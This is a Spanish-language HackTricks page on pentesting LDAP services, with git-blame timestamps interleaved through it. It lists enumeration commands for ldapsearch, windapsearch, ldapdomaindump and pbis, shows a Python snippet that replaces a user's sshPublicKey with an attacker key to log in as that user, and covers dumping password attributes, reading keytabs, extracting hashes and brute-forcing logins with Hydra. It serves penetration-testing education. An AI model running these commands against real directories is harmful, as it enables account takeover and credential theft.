hacktricks/network-services-pentesting/pentesting-ldap.md

394 lines
18 KiB
Markdown
Raw Normal View History

# 389, 636, 3268, 3269 - Pentesting LDAP
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
El uso de **LDAP** (Protocolo Ligero de Acceso a Directorios) es principalmente para localizar diversas entidades como organizaciones, individuos y recursos como archivos y dispositivos dentro de redes, tanto públicas como privadas. Ofrece un enfoque simplificado en comparación con su predecesor, DAP, al tener una huella de código más pequeña.
2023-06-05 18:33:24 +00:00
Los directorios LDAP están estructurados para permitir su distribución en varios servidores, con cada servidor alojando una versión **replicada** y **sincronizada** del directorio, denominada Agente de Sistema de Directorio (DSA). La responsabilidad de manejar las solicitudes recae completamente en el servidor LDAP, que puede comunicarse con otros DSAs según sea necesario para entregar una respuesta unificada al solicitante.
2023-06-05 18:33:24 +00:00
La organización del directorio LDAP se asemeja a una **jerarquía de árbol, comenzando con el directorio raíz en la parte superior**. Esto se ramifica hacia abajo en países, que se dividen aún más en organizaciones, y luego en unidades organizativas que representan diversas divisiones o departamentos, llegando finalmente al nivel de entidades individuales, incluidas personas y recursos compartidos como archivos e impresoras.
2023-06-05 18:33:24 +00:00
**Puerto predeterminado:** 389 y 636 (ldaps). El Catálogo Global (LDAP en ActiveDirectory) está disponible de forma predeterminada en los puertos 3268 y 3269 para LDAPS.
2023-06-05 18:33:24 +00:00
```
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
```
### Formato de Intercambio de Datos LDAP
2023-06-05 18:33:24 +00:00
LDIF (LDAP Data Interchange Format) define el contenido del directorio como un conjunto de registros. También puede representar solicitudes de actualización (Agregar, Modificar, Eliminar, Renombrar).
2023-06-05 18:33:24 +00:00
```bash
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
```
* Las líneas 1-3 definen el dominio de nivel superior local
* Las líneas 5-8 definen el dominio de primer nivel moneycorp (moneycorp.local)
* Las líneas 10-16 definen 2 unidades organizativas: dev y sales
* Las líneas 18-26 crean un objeto del dominio y asignan atributos con valores
2023-06-05 18:33:24 +00:00
## Escribir datos
Ten en cuenta que si puedes modificar valores, podrías realizar acciones realmente interesantes. Por ejemplo, imagina que **puedes cambiar la información de "sshPublicKey"** de tu usuario o de cualquier usuario. Es altamente probable que si este atributo existe, entonces **ssh esté leyendo las claves públicas desde LDAP**. Si puedes modificar la clave pública de un usuario, **podrás iniciar sesión como ese usuario incluso si la autenticación de contraseña no está habilitada en ssh**.
2023-06-05 18:33:24 +00:00
```bash
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
2023-06-05 18:33:24 +00:00
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
```
## Obtención de credenciales en texto claro
2023-06-05 18:33:24 +00:00
Si se utiliza LDAP sin SSL, puedes **obtener credenciales en texto plano** en la red.
2023-06-05 18:33:24 +00:00
Además, puedes realizar un ataque **MITM** en la red **entre el servidor LDAP y el cliente**. Aquí puedes realizar un **Ataque de Degradación** para que el cliente use las **credenciales en texto claro** para iniciar sesión.
2023-06-05 18:33:24 +00:00
**Si se utiliza SSL**, puedes intentar realizar un **MITM** como se mencionó anteriormente, pero ofreciendo un **certificado falso**, si el **usuario lo acepta**, puedes Degradar el método de autenticación y ver las credenciales nuevamente.
2023-06-05 18:33:24 +00:00
## Acceso anónimo
2023-06-05 18:33:24 +00:00
### Saltar la comprobación de TLS SNI
2023-06-05 18:33:24 +00:00
Según [**este informe**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) solo con acceder al servidor LDAP con un nombre de dominio arbitrario (como company.com) pudo contactar el servicio LDAP y extraer información como usuario anónimo:
2023-06-05 18:33:24 +00:00
```bash
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
```
### Enlaces anónimos de LDAP
2023-06-05 18:33:24 +00:00
Los [enlaces anónimos de LDAP](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) permiten a **atacantes no autenticados** recuperar información del dominio, como una lista completa de usuarios, grupos, computadoras, atributos de cuentas de usuario y la política de contraseñas del dominio. Esta es una **configuración heredada**, y a partir de Windows Server 2003, solo se permite a usuarios autenticados iniciar solicitudes LDAP.\
Sin embargo, los administradores pueden haber necesitado **configurar una aplicación en particular para permitir enlaces anónimos** y otorgar más acceso del previsto, lo que permite a usuarios no autenticados acceder a todos los objetos en AD.
2023-06-05 18:33:24 +00:00
## Credenciales válidas
2023-06-05 18:33:24 +00:00
Si tienes credenciales válidas para iniciar sesión en el servidor LDAP, puedes volcar toda la información sobre el Administrador de Dominio usando:
2023-06-05 18:33:24 +00:00
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
```bash
pip3 install ldapdomaindump
2023-06-05 18:33:24 +00:00
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
```
### [Fuerza bruta](../generic-methodologies-and-resources/brute-force.md#ldap)
2023-06-05 18:33:24 +00:00
## Enumeración
### Automatizado
2023-06-05 18:33:24 +00:00
Usando esto podrás ver la **información pública** (como el nombre de dominio)**:**
2023-06-05 18:33:24 +00:00
```bash
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
```
### Python
<details>
<summary>Ver enumeración LDAP con python</summary>
2023-06-05 18:33:24 +00:00
Puedes intentar **enumerar un LDAP con o sin credenciales usando python**: `pip3 install ldap3`
Primero intenta **conectar sin** credenciales:
2023-06-05 18:33:24 +00:00
```bash
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info
```
Si la respuesta es `True` como en el ejemplo anterior, puedes obtener algunos **datos interesantes** del servidor LDAP (como el **contexto de nombres** o el **nombre de dominio**) desde:
2023-06-05 18:33:24 +00:00
```bash
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
2023-06-05 18:33:24 +00:00
dc=DOMAIN,dc=DOMAIN
```
Una vez que tengas el contexto de nombres, puedes realizar algunas consultas más emocionantes. Esta consulta simple debería mostrarte todos los objetos en el directorio:
2023-06-05 18:33:24 +00:00
```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
```
O **volcar** toda la ldap:
2023-06-05 18:33:24 +00:00
```bash
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
```
</details>
### windapsearch
[**Windapsearch**](https://github.com/ropnop/windapsearch) es un script de Python útil para **enumerar usuarios, grupos y computadoras de un** dominio de Windows utilizando consultas LDAP.
2023-06-05 18:33:24 +00:00
```bash
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
```
### ldapsearch
Verifique credenciales nulas o si sus credenciales son válidas:
2023-06-05 18:33:24 +00:00
```bash
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
```
```bash
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
2023-06-05 18:33:24 +00:00
```
Si encuentras algo que diga que "_se debe completar el _bind_" significa que las credenciales son incorrectas.
2023-06-05 18:33:24 +00:00
Puedes extraer **todo de un dominio** usando:
2023-06-05 18:33:24 +00:00
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
```
Extraer **usuarios**:
---
El siguiente paso es extraer información de los usuarios del servidor LDAP. Puedes usar herramientas como ldapsearch para realizar consultas y extraer información detallada sobre los usuarios almacenados en el directorio LDAP. Aquí tienes un ejemplo de cómo puedes buscar y extraer información de todos los usuarios:
```bash
ldapsearch -x -h <IP_ADDRESS> -b "dc=mydomain,dc=com" "(objectClass=inetOrgPerson)"
```
Este comando buscará y mostrará información detallada de todos los usuarios que son del tipo inetOrgPerson en el servidor LDAP.
2023-06-05 18:33:24 +00:00
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
```
Extraer **computadoras**:
2023-06-05 18:33:24 +00:00
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extraer **mi información**:
2023-06-05 18:33:24 +00:00
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extraer **Domain Admins**:
2023-06-05 18:33:24 +00:00
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extraer **Usuarios del Dominio**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extraer **Enterprise Admins**:
2023-06-05 18:33:24 +00:00
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extraer **Administradores**:
2023-06-05 18:33:24 +00:00
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extraer **Grupo de Escritorio Remoto**:
2023-06-05 18:33:24 +00:00
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Para ver si tienes acceso a alguna contraseña, puedes usar grep después de ejecutar una de las consultas:
2023-06-05 18:33:24 +00:00
```bash
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
```
#### pbis
Puedes descargar **pbis** desde aquí: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) y generalmente se instala en `/opt/pbis`.\
**Pbis** te permite obtener información básica fácilmente:
2023-06-05 18:33:24 +00:00
```bash
#Read keytab file
./klist -k /etc/krb5.keytab
#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
2023-06-05 18:33:24 +00:00
done
```
## Interfaz Gráfica
2023-06-05 18:33:24 +00:00
### Apache Directory
[**Descarga Apache Directory desde aquí**](https://directory.apache.org/studio/download/download-linux.html). Puedes encontrar un [ejemplo de cómo usar esta herramienta aquí](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s).
### jxplorer
Puedes descargar una interfaz gráfica con servidor LDAP aquí: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
Por defecto, se instala en: _/opt/jxplorer_
2023-06-05 18:33:24 +00:00
![](<../.gitbook/assets/image (482).png>)
2023-06-05 18:33:24 +00:00
### Godap
Puedes acceder a él en [https://github.com/Macmod/godap](https://github.com/Macmod/godap)
## Autenticación a través de kerberos
2023-06-05 18:33:24 +00:00
Usando `ldapsearch` puedes **autenticarte** contra **kerberos en lugar** de hacerlo a través de **NTLM** utilizando el parámetro `-Y GSSAPI`
2023-06-05 18:33:24 +00:00
## POST
Si puedes acceder a los archivos donde se encuentran las bases de datos (podrían estar en _/var/lib/ldap_). Puedes extraer los hashes usando:
2023-06-05 18:33:24 +00:00
```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
```
### Archivos de Configuración
2023-06-05 18:33:24 +00:00
* General
* containers.ldif
* ldap.cfg
* ldap.conf
* ldap.xml
* ldap-config.xml
* ldap-realm.xml
* slapd.conf
2023-06-05 18:33:24 +00:00
* Servidor IBM SecureWay V3
* V3.sas.oc
* Servidor de Microsoft Active Directory
* msadClassesAttrs.ldif
* Servidor de Directorio de Netscape 4
* nsslapd.sas\_at.conf
* nsslapd.sas\_oc.conf
* Servidor de Directorio OpenLDAP
* slapd.sas\_at.conf
* slapd.sas\_oc.conf
* Servidor de Directorio Sun ONE 5.1
* 75sas.ldif
2023-06-05 18:33:24 +00:00
```
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
2023-06-05 18:33:24 +00:00
https://book.hacktricks.xyz/pentesting/pentesting-ldap
2023-06-05 18:33:24 +00:00
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
2023-06-05 18:33:24 +00:00
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
2023-06-05 18:33:24 +00:00
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
2023-06-05 18:33:24 +00:00
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
2023-06-05 18:33:24 +00:00
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
2023-06-05 18:33:24 +00:00
```
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
2023-06-05 18:33:24 +00:00
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
2023-06-05 18:33:24 +00:00
</details>